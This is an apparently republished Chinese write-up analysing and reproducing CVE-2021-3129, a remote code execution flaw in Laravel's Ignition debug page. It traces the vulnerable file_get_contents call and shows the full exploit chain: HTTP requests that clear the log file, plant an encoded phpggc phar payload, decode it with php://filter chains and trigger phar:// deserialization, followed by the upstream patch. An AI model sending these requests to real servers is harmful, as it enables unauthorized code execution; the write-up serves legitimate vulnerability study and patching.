4

CVE-2021-3129:Laravel远程代码漏洞复现分析

 2 years ago
source link: https://juejin.cn/post/7075904154475954207
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本文分享自华为云社区《CVE-2021-3129 分析》,作者:Xuuuu 。

CVE-2021-3129

  • Tag: [[php phar]] | [[php deserialize]]

Env搭建

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source 分析

根据描述,本质上是由于 facade/ignition 引入的问题,直接查看 ignition 的 commit 记录[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution 添加了一个安全过滤函数 isSafePath

// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
public function makeOptional(array $parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);

    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

    $originalTokens = token_get_all(Blade::compileString($originalContents));

    $newTokens = token_get_all(Blade::compileString($newContents));

    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

    if ($expectedTokens !== $newTokens) {

        return false;
    }

    return $newContents;
}
复制代码

发现危险函数 file_get_contents ,跟踪函数调用栈

  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
  • \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
  • \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes

参数 $parameters['viewFile'] 无过滤,通过 execute-solution 路由可以进行触发,结合官方文档[^2] 可知,在执行 solution 操作时将走到 source 处。

Poc 编写

启动环境后,就出现了一个 igition 的错误修复界面,点击 Generate app key 抓包

1.png

POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 82

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Referer: http://localhost:8000/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
复制代码

然后修改参数 solution 修改为 MakeViewVariableOptionalSolution 指定 solution

POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 163

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Referer: http://localhost:8000/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{

    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

    "parameters": {

        "variableName": "sxv",

        "viewFile": "asdfasdf"

    }

}

HTTP/1.1 500 Internal Server Error

Host: localhost:8000

Date: Tue, 15 Mar 2022 08:00:15 GMT

Connection: close

X-Powered-By: PHP/7.3.21

Cache-Control: no-cache, private

Date: Tue, 15 Mar 2022 08:00:15 GMT

Content-Type: application/json

{

    "message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",

    ...

}
复制代码

500 则代表存在漏洞。

EXP 编写

当存在上传点时,直接上传 phar 文件进行反序列化即可,直接快进到第四步触发反序列化

无上传点可利用时,我们可以操控 ../storage/logs/laravel.log 日志文件,配合 php://filter的特性来构建 phar 文件,执行反序列化。

  1. 清空日志文件
{

    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

    "parameters": {

        "variableName": "sxv",

        "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"

    }

}
复制代码
  1. 写入合法 phar 文件
[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)  

[stacktrace]  

#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)  

#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')  

........

#41 {main}  

"}
复制代码

其中传入的 payload 出现位置

...

[padding] file_get_contents($payload) [padding] file_get_contents($payload)

...

[padding] file_get_contents('$payload[:15]') # 部分payload
复制代码

由于 [[php phar#文件结构]] 特性,文件前后允许脏数据存在,所以思路为

构造phar文件,将phar文件经过编码后写入log文件,再通过 php://filter 特性还原phar文件,最后通过 phar://触发

· base64解码

o 不符合 base64 标准的字符将被忽略 然后继续解码

· utf16 -> utf8

o utf16 用两字节表示一个字符, 需要双字节对齐

· quoted-printable 邮件编码

o 将 \0 编码为 =00

<?php

$fp = fopen('php://output', 'w');  

stream_filter_append($fp, 'convert.base64-encode');  

stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');  

stream_filter_append($fp, 'convert.quoted-printable-encode');  

fwrite($fp, "POCCCCCCCCCCCCC");

fclose($fp);

// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00

$fp = fopen('php://output', 'w');  

stream_filter_append($fp, 'convert.quoted-printable-decode');  

stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  

//stream_filter_append($fp, 'convert.base64-decode');  

fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");  

fclose($fp);

// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁

$fp = fopen('php://output', 'w');  

//stream_filter_append($fp, 'convert.quoted-printable-decode');  

//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  

stream_filter_append($fp, 'convert.base64-decode');  

fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");  

fclose($fp);

// POCCCCCCCCCCCCC

?>
复制代码
// Step 1

"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"

// Step 2

"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
复制代码

解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 观察日志文件。

[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)

[stacktrace]

#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)

#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')
复制代码

断定由于 U=00E=009=00D=0... 处被截断导致 quoted-printable 解码报错,第三处位置只显示前15个字符,所以可以通过 'A' * 15进行填充,发送 AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00 解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出现了两次 payload ,初步符合我们的要求,能够自由控制 storage.log 内容。

那出现两次的 payload 如何解决呢?如果出现两次 **payload** 或者出现部分残留的base64编码允许的字符将影响后续的base64解码。 可以通过在前后通过加填充字符的方式来调整 payload 的第一个字符下标为奇数 or 偶数,从而影响 utf16->utf8 的解码,来使得最终只出现一次 payload

例如发送 'A' * 16 AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00 解码后成功得到 POCCCCCCCCCCCCC

phar 生成

利用 phpgcc [^3] 生成 phar 文件

> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar

> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote  

d-printable-encode/resource=poc.phar');" 

P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...

N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00
复制代码
POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 196

Accept: application/json

Content-Type: application/json

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{

 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

 "parameters": {

 "variableName": "sxv",

 "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"

 }

}
复制代码
  1. 发送 phar 文件
POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 3222

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{

 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

 "parameters": {

 "variableName": "sxv",

 "viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"

 }

}
复制代码
  1. 还原 phar 文件

    此步骤可通过以下代码验证 phar 文件还原是否成功,或者通过http 200状态码判断

$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");  

var_export($fix);

POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 271

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{

 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

 "parameters": {

 "variableName": "sxv",

 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

 }

}
复制代码
  1. 触发反序列化
POST /_ignition/execute-solution HTTP/1.1

Host: localhost:8000

Content-Length: 167

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Origin: http://localhost:8000

Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{

 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

 "parameters": {

 "variableName": "sxv",

 "viewFile": "phar://../storage/logs/laravel.log"

 }

}
复制代码

Patch 修复

\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath 函数对$parameters['viewFile'] 进行了过滤,防止伪协议等。

protected function isSafePath(string $path): bool

{
       if (! Str::startsWith($path, ['/', './'])) {

              return false;
       }

       if (! Str::endsWith($path, '.blade.php')) {

              return false;
       }

       return true;
}
复制代码

Reference

· Laravel8 CVE-2021-3129 复现分析 - TARI TARI

· Laravel Debug mode RCE(CVE-2021-3129)复现 - inHann的博客 | inHann’s Blog

· Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区

Footnote

[1]: Comparing 2.5.1…2.5.2 · facade/ignition

[2]: Security - Flare Docs

[3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

点击关注,第一时间了解华为云新鲜技术~


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK